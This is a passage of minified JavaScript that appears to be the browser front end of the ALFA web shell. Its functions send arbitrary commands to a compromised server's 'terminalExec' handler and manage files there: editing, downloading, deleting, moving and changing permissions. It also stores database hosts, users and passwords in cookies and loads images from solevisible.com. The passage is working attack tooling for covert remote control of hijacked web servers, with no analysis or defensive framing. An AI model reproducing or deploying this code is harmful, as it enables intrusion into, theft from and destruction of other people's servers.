t=e.getAttribute(\"term_id\");if(null==t)return!1;$(t).classList.toggle(\"active-terminal-content\"),e.classList.remove(\"tab-is-done\"),e.classList.add(\"active-terminal-tab\"),$(t).querySelector(\".php-terminal-input\").focus(),alfaUpdateOptionsBadge(\"cgiloader\")}function filesmanTabController(e){try{d.querySelector(\".ajaxarea.filesman-active-content\").classList.remove(\"filesman-active-content\")}catch(e){}try{d.querySelector(\".filesman_tab.filesman-tab-active\").classList.remove(\"filesman-tab-active\")}catch(e){}var t=e.getAttribute(\"fm_id\");if(null==t)return!1;alfa_current_fm_id=t,e.classList.add(\"filesman-tab-active\"),e.classList.remove(\"tab-is-done\"),$(\"filesman_holder_\"+t).classList.toggle(\"filesman-active-content\");var a=e.getAttribute(\"path\");initDir(a),d.mf.c.value=a}function dbTabController(e){try{d.querySelector(\".sql-content.sql-active-content\").classList.remove(\"sql-active-content\")}catch(e){}try{d.querySelector(\".sql-tabname.sql-active-tab\").classList.remove(\"sql-active-tab\")}catch(e){}var t=e.getAttribute(\"opt_id\");if(null==t)return!1;$(t).classList.toggle(\"sql-active-content\"),e.classList.remove(\"tab-is-done\"),e.classList.add(\"sql-active-tab\"),alfaUpdateOptionsBadge(\"database_window\")}function editorTabController(e,t){try{d.querySelector(\".editor-contents.editor-content-active\").classList.remove(\"editor-content-active\")}catch(e){}var a=null;void 0===t?a=e.getAttribute(\"opt_id\"):(a=e,e=$(\"tab_\"+a));var i=editor_files&#91;\"file_\"+a.replace(\"editor_source_\",\"\")];if(void 0!==i&amp;&amp;(d.querySelector(\".editor-path\").innerHTML=(i.pwd+\"\/\"+i.file).replace(\/\\\/\\\/\/g,\"\/\")),null==a)return!1;$(a).classList.toggle(\"editor-content-active\");try{d.querySelector(\".editor-tabs .editor-tab-name.editor-tab-active\").classList.remove(\"editor-tab-active\")}catch(e){}e.classList.remove(\"tab-is-done\"),e.classList.add(\"editor-tab-active\"),alfaUpdateOptionsBadge(\"editor\")}function alfaUpdateOptionsBadge(e){var t=d.querySelector(\"#\"+e+\"-minimized .options_min_badge\");if(null!=t){var a=d.querySelectorAll(\"#\"+e+\" .tab-is-done\").length;t.innerHTML=a,t.style.visibility=a>0?\"visible\":\"hidden\"}}function alfaOpenPhpTerminal(e){if(php_temrinal_using_cgi&amp;&amp;void 0===e)showEditor(\"cgiloader\");else{$(\"cgiloader\").style.display=\"block\",$(\"cgiloader\").style.background=\"rgba(0, 0, 0, 0.57)\",$(\"cgiframe\").style.background=\"rgba(0, 0, 0, 0.81)\",$(\"cgiframe\").style.border=\"1px solid rgb(30, 86, 115)\",$(\"cgiframe\").style.height=\"90%\",$(\"cgiframe\").style.padding=\"3px\",d.querySelector(\"#cgiloader .opt-title\").innerHTML=\"Terminal\";var t=\"\",a=\"\",i=\"terminal_id_\"+getRandom(10);void 0===e&amp;&amp;(t=\" active-terminal-content\",a=\" active-terminal-tab\"),d.querySelector(\"#cgiframe .terminal-contents\").insertAdjacentHTML(\"afterbegin\",'&lt;div id=\"'+i+'\" class=\"terminal-content'+t+'\">&lt;div class=\"php-terminal-output\">&lt;div>&lt;button class=\"terminal-btn-fontctl\" onClick=\"changeTerminalFontSize(\\''+i+'\\',1);\">+&lt;\/button>&lt;button class=\"terminal-btn-fontctl\" onClick=\"changeTerminalFontSize(\\''+i+\"',0);\\\">-&lt;\/button>&lt;input onchange=\\\"alfaTerminalChangecolor(this,'\"+i+'\\');\" style=\"height: 18px;background: #dde2e2;\" type=\"color\">&lt;\/div>&lt;pre class=\"ml1\" style=\"border:unset;height: 90%;\">&lt;\/pre>&lt;\/div>&lt;div>&lt;form term_id=\"'+i+'\" onSubmit=\"alfaExecTerminal(this);this.c.value=\\'\\';return false;\" autocomplete=\"off\" style=\"margin-top: 10px;\">&lt;div style=\"overflow: auto;white-space: nowrap;\">&lt;div style=\"display: inline-block;color:#4fbec3;margin-bottom:5px;margin-right:5px;\">CWD:~# &lt;\/div>&lt;div style=\"display: inline-block;color:#42ec42;\" class=\"php-terminal-current-dir\">&lt;\/div>&lt;\/div>&lt;div style=\"position:relative;\">&lt;span style=\"color: #00ff08;font-size: 25px;\">$ &lt;\/span>&lt;input style=\"padding: 8px;font-size: 20px;width: 67%;border: 1px solid #27979B;padding-right:35px;\" onkeyup=\"alfaWalkInTerminalHistory(this,event,\\''+i+'\\');\" term_id=\"'+i+'\" class=\"php-terminal-input\" type=\"text\" name=\"c\" onfocus=\"closeHistoryCmd(\\'free\\',this);\" placeholder=\"ls -la\">&lt;button class=\"button\" style=\"color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;\">ExeCute&lt;button term_id=\"'+i+'\" class=\"button\" style=\"color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;\" onClick=\"alfaExecTerminal(this, 1);return false;\">Current Dir&lt;\/button>&lt;div class=\"cmd-history-holder\">&lt;div class=\"commands-history-header\">History&lt;\/div>&lt;span onClick=\"clearTerminalHistory();\" style=\"border-bottom: 1px solid;margin-bottom: 5px;display: inline-block;padding: 5px;color: #59de69;cursor: pointer;\">Clear history&lt;\/span>&lt;div style=\"overflow: auto;height: 82%;\" class=\"commands-history\">&lt;\/div>&lt;\/div>&lt;div term_id=\"'+i+'\" class=\"cmd-history-icon\" mode=\"\" onclick=\"closeHistoryCmd(this);\">&lt;\/div>&lt;\/form>&lt;\/div>&lt;\/div>&lt;\/div>');try{$(\"terminal_new_tab\").remove()}catch(e){}d.querySelector(\"#cgiframe .terminal-tabs\").insertAdjacentHTML(\"beforeend\",'&lt;div onclick=\"terminalTabController(this);\" term_id=\"'+i+'\" id=\"tab_'+i+'\" class=\"terminal-tab'+a+'\">Terminal &lt;img term_id=\"'+i+'\" onclick=\"closeTerminalContent(this,event);return false;\" title=\"&#91;close]\" src=\"http:\/\/solevisible.com\/icons\/menu\/delete.svg\">&lt;\/div>'),d.querySelector(\"#cgiframe .terminal-tabs\").insertAdjacentHTML(\"beforeend\",'&lt;div onclick=\"alfaOpenPhpTerminal(true);\" id=\"terminal_new_tab\" style=\"background-color:#800000;\" class=\"terminal-tab\">New Tab +&lt;\/div>'),terminal_walk_index&#91;i]={index:0,key:-1},d.querySelector(\"#\"+i+\" .php-terminal-input\").focus(),d.querySelector(\"#\"+i+\" .php-terminal-current-dir\").innerHTML=c_,d.querySelector(\"#cgiloader-minimized .minimized-text\").innerHTML=\"Terminal\",alfaTerminalSetColorAndSize(i),php_temrinal_using_cgi=!0;var l=alfaGetTerminalHistory();for(var r in l)d.querySelector(\"#\"+i+\" .cmd-history-holder .commands-history\").insertAdjacentHTML(\"afterbegin\",\"&lt;div onclick=\\\"d.querySelector('#\"+i+' .php-terminal-input\\').value = this.innerHTML;\" class=\"history-cmd-line\">'+l&#91;r]+\"&lt;\/div>\")}d.body.style.overflow=\"hidden\"}function alfaTerminalSetColorAndSize(e){var t=getCookie(\"alfa-terminal-color\"),a=getCookie(\"alfa-terminal-fontsize\");void 0!==t&amp;&amp;(d.querySelector(\"#\"+e+\" pre.ml1\").style.color=t),void 0!==a&amp;&amp;(d.querySelector(\"#\"+e+\" pre.ml1\").style.fontSize=a)}function alfaTerminalChangecolor(e,t){d.querySelector(\"#\"+t+\" pre.ml1\").style.color=e.value,setCookie(\"alfa-terminal-color\",e.value,2012)}function alfaGetTerminalHistory(e){var t=getCookie(\"alfa-terminal-history\");try{t=atob(t),t=JSON.parse(t)}catch(e){t=&#91;]}return void 0!==e&amp;&amp;t.reverse(),t}function changeTerminalFontSize(e,t){var a=d.querySelector(\"#\"+e+\" pre.ml1\"),i=parseInt(window.getComputedStyle(a,null).getPropertyValue(\"font-size\")),l=\"\";1==t?(l=i+1+\"px\",a.style.fontSize=l):(l=i-1+\"px\",a.style.fontSize=l),setCookie(\"alfa-terminal-fontsize\",l,2012)}function alfaWalkInTerminalHistory(e,t,a){var i=t||window.event;if(\"38\"==i.keyCode||\"40\"==i.keyCode||\"37\"==i.keyCode||\"39\"==i.keyCode)switch(i.keyCode){case 38:var l=alfaGetTerminalHistory(!0),r=\"\";0==terminal_walk_index&#91;a].index?(0==terminal_walk_index&#91;a].key&amp;&amp;++terminal_walk_index&#91;a].index,void 0!==(r=l&#91;terminal_walk_index&#91;a].index])?(e.value=r,++terminal_walk_index&#91;a].index):(e.value=\"\",terminal_walk_index&#91;a].index=0)):terminal_walk_index&#91;a].index&lt;l.length&amp;&amp;(0==terminal_walk_index&#91;a].key&amp;&amp;++terminal_walk_index&#91;a].index,e.value=l&#91;terminal_walk_index&#91;a].index],++terminal_walk_index&#91;a].index),terminal_walk_index&#91;a].key=1;break;case 40:l=alfaGetTerminalHistory(!0);if(terminal_walk_index&#91;a].index>=0)0!=terminal_walk_index&#91;a].index&amp;&amp;(--terminal_walk_index&#91;a].index,1==terminal_walk_index&#91;a].key&amp;&amp;--terminal_walk_index&#91;a].index),void 0!==(r=l&#91;terminal_walk_index&#91;a].index])?e.value=r:(e.value=\"\",terminal_walk_index&#91;a].index=0);terminal_walk_index&#91;a].key=0;break;default:console.log(i.keyCode)}else terminal_walk_index&#91;a].index=0}function clearTerminalHistory(){d.querySelectorAll(\".commands-history\").forEach(function(e){e.innerHTML=\"\"}),setCookie(\"alfa-terminal-history\",\"\",2012)}function alfaAceToFullscreen(e){var t=e.getAttribute(\"ace_id\");alfa_ace_editors.editor&#91;t].container.requestFullscreen()}function closeHistoryCmd(e,t){if(\"free\"==e){var a=t.getAttribute(\"term_id\");return e=d.querySelector(\"#\"+a+\" .cmd-history-icon\"),d.querySelector(\"#\"+a+\" .cmd-history-holder\").style.visibility=\"hidden\",d.querySelector(\"#\"+a+\" .cmd-history-holder\").style.opacity=\"0\",e.setAttribute(\"mode\",\"off\"),!1}var i=e.getAttribute(\"mode\"),l=(a=e.getAttribute(\"term_id\"),d.querySelector(\"#\"+a+\" .cmd-history-holder\"));0==i.length||\"off\"==i?(l.style.visibility=\"visible\",l.style.opacity=\"1\",e.setAttribute(\"mode\",\"on\")):(l.style.visibility=\"hidden\",l.style.opacity=\"0\",e.setAttribute(\"mode\",\"off\"))}function geEvalAceValue(e){var t=e.querySelector(\".php-evals-ace\").getAttribute(\"id\");return alfa_ace_editors.eval&#91;t].getValue()}function alfaOpenArchive(e){var t=e.getAttribute(\"path\"),a=e.getAttribute(\"fname\"),i=e.getAttribute(\"base_id\");if(\"..\"==a&amp;&amp;\"phar:\/\/\"!=t.substr(0,7))return!1;var l=\"a=\"+alfab64(\"open_archive_dir\")+\"&amp;c=\"+alfab64(c_)+\"&amp;alfa1=\"+alfab64(t)+\"&amp;alfa2=\"+alfab64(i)+\"&amp;ajax=\"+alfab64(\"true\");_Ajax(d.URL,l,function(e){if(\"0\"!=e){$(\"archive_base_\"+i).innerHTML=e;var a=$(\"archive_dir_\"+i).getAttribute(\"archive_name\"),l=$(\"archive_dir_\"+i).getAttribute(\"archive_full\"),r=\"\",o=\"\";if(0!=(t=t.split(a)&#91;1]).length){var n=(t=t.split(\"\/\")).length-1;for(var s in 0==t&#91;n].length&amp;&amp;t.splice(n,1),t)0!=t.length&amp;&amp;(o+=t&#91;s]+\"\/\",r+='&lt;a base_id=\"'+i+'\" fname=\"'+t&#91;s]+'\" path=\"'+l+o+'\" onclick=\"alfaOpenArchive(this);\">'+t&#91;s]+\"\/&lt;\/a>\")}d.querySelector(\"#archive_dir_\"+i+\" .archive_pwd_holder\").innerHTML=r}},!1,\"open_archive_dir\")}function alfaDeleteConnectToDb(e){d.querySelectorAll(\".dbh_\"+e).forEach(function(e){e.remove()}),alfaConnectionHistoryUpdate(e)}function alfaConnectToDb(e,t){var a={};try{a=JSON.parse(atob(getCookie(\"alfa_connection_hist\")))}catch(e){}var i=d.querySelector(\"#\"+t+\" div.sf\");i.querySelector(\"input&#91;name=sql_host]\").value=a&#91;e].host,i.querySelector(\"input&#91;name=sql_login]\").value=a&#91;e].user,i.querySelector(\"input&#91;name=sql_pass]\").value=a&#91;e].pass,(i.querySelector(\"input&#91;name=sql_base]\")?i.querySelector(\"input&#91;name=sql_base]\"):i.querySelector(\"select&#91;name=sql_base]\")).value=a&#91;e].db,i.querySelector(\"input&#91;name=sql_count]\").checked=!0,d.querySelector(\"#\"+t+\" div.sf .db-connect-btn\").click()}function alfaShowConnectionHistory(e){var t={},a=e.getAttribute(\"db_id\"),i=e.getAttribute(\"mode\");if(rows='&lt;table class=\"connection-hist-table\">&lt;tr>&lt;th>*&lt;\/th>&lt;th>Host&lt;\/th>&lt;th>User&lt;\/th>&lt;th>Pass&lt;\/th>&lt;th>Database&lt;\/th>&lt;th>Connect&lt;\/th>&lt;th>Delete&lt;\/th>&lt;\/tr>',\"on\"==i){e.setAttribute(\"mode\",\"off\");try{t=JSON.parse(atob(getCookie(\"alfa_connection_hist\")))}catch(e){}var l,r=1;for(l in t){var o=t&#91;l].user+\"_\"+t&#91;l].db;rows+='&lt;tr class=\"dbh_'+o+'\">&lt;th>'+r+\"&lt;\/th>&lt;th>\"+t&#91;l].host+\"&lt;\/th>&lt;th>\"+t&#91;l].user+\"&lt;\/th>&lt;th>\"+t&#91;l].pass+\"&lt;\/th>&lt;th>\"+t&#91;l].db+'&lt;\/th>&lt;th>&lt;button style=\"margin: unset;\" class=\"connection-his-btn\" onclick=\\'alfaConnectToDb(\"'+o+'\",\"'+a+'\");\\'>Connect&lt;\/button>&lt;\/th>&lt;th style=\"text-align: center;\">&lt;button style=\"margin: unset;\" class=\"connection-his-btn connection-delete\" onclick=\\'alfaDeleteConnectToDb(\"'+o+\"\\\");'>X&lt;\/button>&lt;\/th>&lt;\/tr>\",r++}rows+=\"&lt;\/table\"}else e.setAttribute(\"mode\",\"on\"),rows=\"\";d.querySelector(\"#\"+a+\" .connection_history_holder\").innerHTML=rows}function alfaConnectionHistoryUpdate(e){var t,a={};try{a=JSON.parse(atob(getCookie(\"alfa_connection_hist\")))}catch(e){}for(t in mysql_cache)0!=mysql_cache&#91;t].db.length&amp;&amp;(a&#91;mysql_cache&#91;t].user+\"_\"+mysql_cache&#91;t].db]=mysql_cache&#91;t]);void 0!==e&amp;&amp;delete a&#91;e],setCookie(\"alfa_connection_hist\",btoa(JSON.stringify(a)),2012)}function alfaExecTerminal(e,t){var a=\"\";if(0==(a=void 0!==t?\"cd \"+c_:e.c.value).length)return!1;\"l\"==a?a=\"ls -trh --color\":\"ll\"==a&amp;&amp;(a=\"ls -ltrh --color\");var i=e.getAttribute(\"term_id\");alfaloader(i,\"block\"),closeHistoryCmd(\"free\",e);var l=\"\";\"FORM\"==e.tagName&amp;&amp;(l=e.querySelector(\".php-terminal-current-dir\").innerHTML),0==(l=l.trim()).length&amp;&amp;(l=c_);var r=\"a=\"+alfab64(\"terminalExec\")+\"&amp;c=\"+alfab64(l)+\"&amp;alfa1=\"+alfab64(a)+\"&amp;ajax=\"+alfab64(\"true\");if(_Ajax(d.URL,r,function(e,t){alfaloader(t,\"none\");try{var a=$(\"tab_\"+i);null!=a&amp;&amp;((-1==a.classList.value.indexOf(\"active-terminal-tab\")||cgi_is_minimized)&amp;&amp;(a.classList.add(\"tab-is-done\"),alfaShowNotification(\"proccess is done...\",a.innerText)),cgi_is_minimized&amp;&amp;alfaUpdateOptionsBadge(\"cgiloader\"))}catch(e){}e=JSON.parse(e),d.querySelector(\"#\"+t+\" .php-terminal-output > pre\").innerHTML=e.output,0!=e.path.length&amp;&amp;(d.querySelector(\"#\"+t+\" .php-terminal-current-dir\").innerHTML=e.path)},!1,i),void 0===t){d.querySelector(\"#\"+i+\" .cmd-history-holder .commands-history\").insertAdjacentHTML(\"afterbegin\",\"&lt;div onclick=\\\"d.querySelector('#\"+i+' .php-terminal-input\\').value = this.innerHTML;\" class=\"history-cmd-line\">'+a+\"&lt;\/div>\");var o=alfaGetTerminalHistory(),n=o.indexOf(a);-1!=n&amp;&amp;o.splice(n,1),o.push(a),setCookie(\"alfa-terminal-history\",btoa(JSON.stringify(o)),2012)}d.querySelector(\"#\"+i+\" input.php-terminal-input\").focus()}function pageChangedFilesMan(e){var t=\"filesman_holder_\"+alfa_current_fm_id,a=getCookie(t+\"_page_number\"),i=e.innerText;if(\"&lt;&lt;\"==i){a=d.querySelector(\"#\"+t+\" .active-page-number\").innerText;if(!((a=parseInt(a))>1))return!1;i=a-1}if(\">>\"==i){a=d.querySelector(\"#\"+t+\" .active-page-number\").innerText;a=parseInt(a);var l=d.querySelector(\"#\"+t+\" .last-page-number\").innerHTML;if(!(a+1&lt;=(l=parseInt(l))))return!1;i=a+1}setCookie(t+\"_page_number\",i,2012),g(\"FilesMan\",c_)}function alfaColDumperInit(){var e=d.querySelector(\".tab_name.tab_is_active\").getAttribute(\"opt_id\"),t=d.querySelector(\"#\"+e),a=t.getElementsByClassName(\"box\");for(i=0;i&lt;a.length;i++)a&#91;i].addEventListener(\"click\",function(){null!=this.parentElement.querySelector(\".nested\")&amp;&amp;(this.parentElement.querySelector(\".nested\").classList.toggle(\"active\"),this.classList.toggle(\"check-box\"))});var i;a=t.getElementsByClassName(\"sub-box\");for(i=0;i&lt;a.length;i++)a&#91;i].setAttribute(\"opt_id\",e),a&#91;i].addEventListener(\"click\",function(){this.classList.toggle(\"check-box\");var e=this.getAttribute(\"tbl\"),t=this.getAttribute(\"opt_id\");t=t.replace(\"option_\",\"\"),col_dumper_selected_data.hasOwnProperty(t)||(col_dumper_selected_data&#91;t]={}),void 0===col_dumper_selected_data&#91;t]&#91;e]&amp;&amp;(col_dumper_selected_data&#91;t]&#91;e]=&#91;]);var a=this.innerHTML,i=col_dumper_selected_data&#91;t]&#91;e].indexOf(a);-1==i?col_dumper_selected_data&#91;t]&#91;e].push(a):col_dumper_selected_data&#91;t]&#91;e].splice(i,1)})}function showSymlinkPath(e,t){t.stopPropagation();var a=e.getAttribute(\"row\"),i=$(\"td_row_\"+a),l=e.getAttribute(\"opt_title\"),r=e.getAttribute(\"fname\");if(l=decodeURIComponent(r)+\" -> \"+l,null!=i){i.insertAdjacentHTML(\"afterbegin\",'&lt;div class=\"symlink_path\" id=\"link_id_'+a+'\">'+l+\"&lt;\/div>\");var o=t.clientX,n=t.clientY-30;$(\"link_id_\"+a).style.left=o+\"px\",$(\"link_id_\"+a).style.top=n+\"px\"}}function hideSymlinkPath(e,t){t.stopPropagation(),$(\"link_id_\"+e.getAttribute(\"row\")).remove()}function alfagetFlags(){data=\"a=\"+alfab64(\"get_flags\")+\"&amp;c=\"+alfab64(c_)+\"&amp;ajax=\"+alfab64(\"true\"),_Ajax(d.URL,data,function(e){var t=JSON.parse(e);t.hasOwnProperty(\"server\")&amp;&amp;(d.querySelectorAll(\".flag-holder\")&#91;0].innerHTML='&lt;img draggable=\"false\" title=\"'+t.server.name+'\" src=\"http:\/\/solevisible.com\/images\/flags\/48\/'+t.server.code.toLowerCase()+'.png\">',d.querySelectorAll(\".flag-holder\")&#91;0].style.display=\"inline\"),t.hasOwnProperty(\"client\")&amp;&amp;(d.querySelectorAll(\".flag-holder\")&#91;1].innerHTML='&lt;img draggable=\"false\" title=\"'+t.client.name+'\" src=\"http:\/\/solevisible.com\/images\/flags\/48\/'+t.client.code.toLowerCase()+'.png\">',d.querySelectorAll(\".flag-holder\")&#91;1].style.display=\"inline\")})}function colDumplerSelectType(e){var t=e.options&#91;e.selectedIndex].value;$(\"coldumper-delimiter-input\").style.display=\"delimiter\"==t?\"inline-block\":\"none\"}function alfaCheckUrlHash(){var e=window.location.hash.substr(1),t=e.split(\"&amp;\").reduce(function(e,t){var a=t.split(\"=\");return e&#91;a&#91;0]]=a&#91;1],e},{});if(\"\"!=e)switch(t.action){case\"fileman\":case\"options\":t.path=decodeURIComponent(t.path),g(\"FilesMan\",t.path,function(e){if(t.hasOwnProperty(\"file\")){var a=\"auto\";isArchive(t.file)&amp;&amp;(a=\"view\"),editor(t.path+\"\/\"+t.file,a,\"\",\"\",\"\",\"file\")}}),\"options\"==t.action&amp;&amp;t.hasOwnProperty(\"opt\")&amp;&amp;(alfa_can_add_opt=!0,g(t.opt,null,\"\",\"\",\"\"),d.querySelector(\".opt-title\").innerHTML=$(\"menu_opt_\"+t.opt).innerHTML),t.hasOwnProperty(\"file\")||editorClose(\"editor\"),t.hasOwnProperty(\"opt\")||editorClose(\"options_window\"),editorClose(\"cgiloader\");break;default:g(\"FilesMan\",\"&lt;?php echo $GLOBALS&#91;\"cwd\"]; ?>\"),editorClose(\"editor\"),editorClose(\"options_window\"),editorClose(\"cgiloader\")}else g(\"FilesMan\",\"&lt;?php echo $GLOBALS&#91;\"cwd\"]; ?>\"),editorClose(\"editor\"),editorClose(\"options_window\"),editorClose(\"cgiloader\")}function alfaFmngrContextRow(){d.querySelectorAll(\".fmanager-row a.main_name\").forEach(function(e){e.addEventListener(\"contextmenu\",function(e){var t=e.target,a=\"\";if(\"..\"==(a=\"A\"==e.target.parentElement.tagName?(t=e.target.parentElement).getAttribute(\"fname\"):t.getAttribute(\"fname\")))return!1;var i=t.getAttribute(\"id\"),l=t.getAttribute(\"path\"),r=t.getAttribute(\"ftype\"),o=&#91;\"newtab\",\"link\",\"download\",\"view\",\"edit\",\"move\",\"copy\",\"rename\",\"modify\",\"permission\",\"compress\",\"extract\",\"delete\"];for(var n in\"file\"!=r||isArchive(a)?o&#91;3]=\"view_archive\":o.splice(11,1),\"folder\"==r&amp;&amp;(o=&#91;\"newtab\",\"link\",\"move\",\"copy\",\"rename\",\"modify\",\"permission\",\"compress\",\"delete\"]),alfaSortMenuItems(o),o){var s=d.querySelector(\"#rightclick_menu > a&#91;name=\"+o&#91;n]+\"]\");switch(s.setAttribute(\"fid\",i),s.setAttribute(\"fname\",decodeURIComponent(a)),s.setAttribute(\"path\",l),s.setAttribute(\"ftype\",r),o&#91;n]){case\"view\":case\"edit\":var c=\"auto\";\"edit\"==o&#91;n]&amp;&amp;(c=\"edit\"),s.setAttribute(\"href\",\"#action=fileman&amp;path=\"+c_+\"\/&amp;file=\"+a),s.setAttribute(\"onclick\",\"editor('\"+a+\"','\"+c+\"','','','','file')\");break;case\"newtab\":var u=a;\"file\"==r?(u=\"&amp;file=\"+a,s.setAttribute(\"href\",\"#action=fileman&amp;path=\"+c_+\"\/\"+u),s.setAttribute(\"target\",\"_blank\"),s.onclick=function(){}):(s.setAttribute(\"href\",\"javascript:void(0)\"),s.removeAttribute(\"target\"),s.onclick=function(){alfaFilesManNewTab(c_,u)});break;case\"delete\":s.setAttribute(\"onclick\",\"var chk = confirm('Are You Sure For Delete # \"+a+\" # ?'); chk ? g('FilesMan',null,'delete', '\"+a+\"') : '';\");break;case\"download\":s.setAttribute(\"onclick\",\"g('FilesTools',null,'\"+a+\"', 'download')\");break;case\"permission\":try{var p=d.querySelector(\"#id_chmode_\"+i.replace(\"id_\",\"\")+\" span\").innerHTML;s.setAttribute(\"perm\",p.trim())}catch(e){}break;case\"link\":s.style.display=\"block\";var f=\"&lt;?php echo $_SERVER&#91;\"DOCUMENT_ROOT\"]; ?>\/\",m=(c_+\"\/\"+a).replace(\/\\\/\\\/\/g,\"\/\");if(-1!=m.indexOf(f)){f=m.replace(f,\"\");var b=location.origin+\"\/\"+f;s.setAttribute(\"href\",\"\"+b)}else s.style.display=\"none\"}}var y=e.clientX,_=e.clientY;alfaRightClickMenu(y,_),e.preventDefault()})})}function alfaFilesManNewTab(e,t,a){var i=t;void 0!==a&amp;&amp;(i=alfaGetLastFolderName(e));var l=decodeURIComponent(e+\"\/\"+t);l=l.replace(\/\\\/\\\/\/g,\"\/\");var r=$(\"filesman_tab_1\"),o=r.getAttribute(\"fm_counter\");o=parseInt(o)+1,r.setAttribute(\"fm_counter\",o),d.querySelector(\"#filesman_tabs_child\").insertAdjacentHTML(\"beforeend\",'&lt;div onmouseover=\"alfaFilesmanTabShowTitle(this,event);\" onmouseout=\"alfaFilesmanTabHideTitle(this,event);\" path=\"'+l+'\" id=\"filesman_tab_'+o+'\" fm_id=\"'+o+'\" onclick=\"filesmanTabController(this);\" fname=\"'+t+'\" class=\"filesman_tab\">&lt;img class=\"folder-tab-icon\" src=\"http:\/\/solevisible.com\/icons\/menu\/folder2.svg\"> &lt;span class=\"filesman-tab-folder-name\">'+i+'&lt;\/span> &lt;img fm_id=\"'+o+'\" onclick=\"closeFmTab(this,event);return false;\" title=\"&#91;close]\" src=\"http:\/\/solevisible.com\/icons\/menu\/delete.svg\">&lt;\/div>'),d.querySelector(\".ajaxarea\").insertAdjacentHTML(\"beforebegin\",'&lt;div style=\"position:relative;\" fm_id=\"'+o+'\" id=\"filesman_holder_'+o+'\" class=\"ajaxarea\">&lt;div class=\"header\">&lt;\/div>&lt;\/div>'),alfa_fm_id=o,g(\"FilesMan\",l),alfa_fm_id=0}function alfaFilesmanTabShowTitle(e,t){t.stopPropagation();var a=$(\"filesman-tab-full-path\");a.style.display=\"block\",a.style.top=e.offsetTop-37+\"px\",a.style.left=e.offsetLeft-$(\"filesman_tabs\").scrollLeft+\"px\",a.innerHTML=e.getAttribute(\"path\")}function alfaFilesmanTabHideTitle(e,t){$(\"filesman-tab-full-path\").style.display=\"none\"}function alfaPopupAction(e,t){var a=\"\",i=\"\";switch(t){case\"rename\":a=\"Old file name:\",i=\"New file name:\";break;case\"copy\":a=\"File path:\",i=\"Enter the file path that you want to copy this file to:\";break;case\"move\":a=\"Current Path:\",i=\"Enter the file path that you want to move this file to:\";break;case\"extract\":a=\"Files to extract:\",i=\"Enter the path you wish to extract the files to and click Extract:\"}var l=e.getAttribute(\"fname\"),r=e.getAttribute(\"path\"),o=t.charAt(0).toUpperCase()+t.slice(1);if(\"permission\"==t){d.querySelector(\"#shortcutMenu-holder\").style.height=\"222px\",o=\"Change Permissions\",d.querySelector(\"#shortcutMenu-holder > form > .perm-table-holder\").style.display=\"block\",d.querySelector(\"#shortcutMenu-holder > form > input&#91;name=fname]\").style.display=\"none\";var n=e.getAttribute(\"perm\"),s=n.substr(1,1),c=n.substr(2,1),u=n.substr(3,1);d.querySelector(\"#shortcutMenu-holder > form input&#91;name=u]\").value=s,d.querySelector(\"#shortcutMenu-holder > form input&#91;name=g]\").value=c,d.querySelector(\"#shortcutMenu-holder > form input&#91;name=w]\").value=u,autoCheckPerms(s,\"u\",&#91;\"u\",\"g\",\"w\"]),autoCheckPerms(c,\"g\"),autoCheckPerms(u,\"w\")}else d.querySelector(\"#shortcutMenu-holder\").style.height=\"190px\",d.querySelector(\"#shortcutMenu-holder > form > input&#91;name=fname]\").style.display=\"block\",d.querySelector(\"#shortcutMenu-holder > form > .perm-table-holder\").style.display=\"none\";var p=\"move\"==t||\"copy\"==t?r+l:l;if(\"modify\"==t){var f=\"tr_row_\"+e.getAttribute(\"fid\").replace(\"id_\",\"\");p=d.querySelector(\"#\"+f+\" .main_modify\").innerText}d.querySelector(\".cl-popup-fixed\").style.display=\"block\",d.querySelector(\"#shortcutMenu-holder .popup-head\").innerHTML=o,d.querySelector(\"#shortcutMenu-holder .old-path-lbl\").innerHTML=a,d.querySelector(\"#shortcutMenu-holder .new-filename-lbl\").innerHTML=i,d.querySelector(\"#shortcutMenu-holder .popup-foot > button&#91;name=accept]\").innerHTML=o,d.querySelector(\"#shortcutMenu-holder > form > .old-path-content\").innerHTML=r+l,d.querySelector(\"#shortcutMenu-holder > form > input&#91;name=fname]\").value=p,d.querySelector(\"#shortcutMenu-holder button&#91;name=accept]\").setAttribute(\"fid\",e.getAttribute(\"fid\")),d.querySelector(\"#shortcutMenu-holder button&#91;name=accept]\").setAttribute(\"action\",t)}function calcperm(){var e=event.srcElement;autoCheckPerms(e.checked,e.name.substr(0,1))}function autoCheckPerms(e,t,a){if(void 0!==a)for(var i in a){var l=a&#91;i];d.querySelector(\"#shortcutMenu-holder > form input&#91;name=\"+l+\"r]\").checked=!1,d.querySelector(\"#shortcutMenu-holder > form input&#91;name=\"+l+\"w]\").checked=!1,d.querySelector(\"#shortcutMenu-holder > form input&#91;name=\"+l+\"x]\").checked=!1}var r=d.querySelector(\"#shortcutMenu-holder > form input&#91;name=\"+t+\"r]\"),o=d.querySelector(\"#shortcutMenu-holder > form input&#91;name=\"+t+\"w]\"),n=d.querySelector(\"#shortcutMenu-holder > form input&#91;name=\"+t+\"x]\");if(\"boolean\"!=typeof e)\"7\"==e?(r.checked=!0,o.checked=!0,n.checked=!0):\"4\"==e?r.checked=!0:\"2\"==e?o.checked=!0:\"1\"==e?n.checked=!0:\"6\"==e?(r.checked=!0,o.checked=!0):\"3\"==e?(o.checked=!0,n.checked=!0):\"5\"==e&amp;&amp;(r.checked=!0,n.checked=!0);else{var s=0;r.checked&amp;&amp;(s+=4),o.checked&amp;&amp;(s+=2),n.checked&amp;&amp;(s+=1),\"u\"==t?d.querySelector(\"#shortcutMenu-holder > form input&#91;name=u]\").value=s:\"g\"==t?d.querySelector(\"#shortcutMenu-holder > form input&#91;name=g]\").value=s:\"w\"==t&amp;&amp;(d.querySelector(\"#shortcutMenu-holder > form input&#91;name=w]\").value=s)}}function gg(e,t,a,i,l,r){var o=\"filesman_holder_\"+alfa_current_fm_id;alfaloader(o,\"block\"),data=\"a=\"+alfab64(e)+\"&amp;c=\"+alfab64(t)+\"&amp;alfa1=\"+alfab64(a)+\"&amp;alfa2=\"+alfab64(i)+\"&amp;alfa3=\"+alfab64(l)+\"&amp;ajax=\"+alfab64(\"true\"),_Ajax(d.URL,data,r,!1,o)}function alfaPopUpDoAction(e){var t=e.getAttribute(\"action\");switch(t){case\"rename\":case\"move\":case\"copy\":var a=e.getAttribute(\"fid\").replace(\"id_\",\"\"),i=$(\"id_\"+a).getAttribute(\"fname\"),l=d.querySelector(\"#shortcutMenu-holder > form > 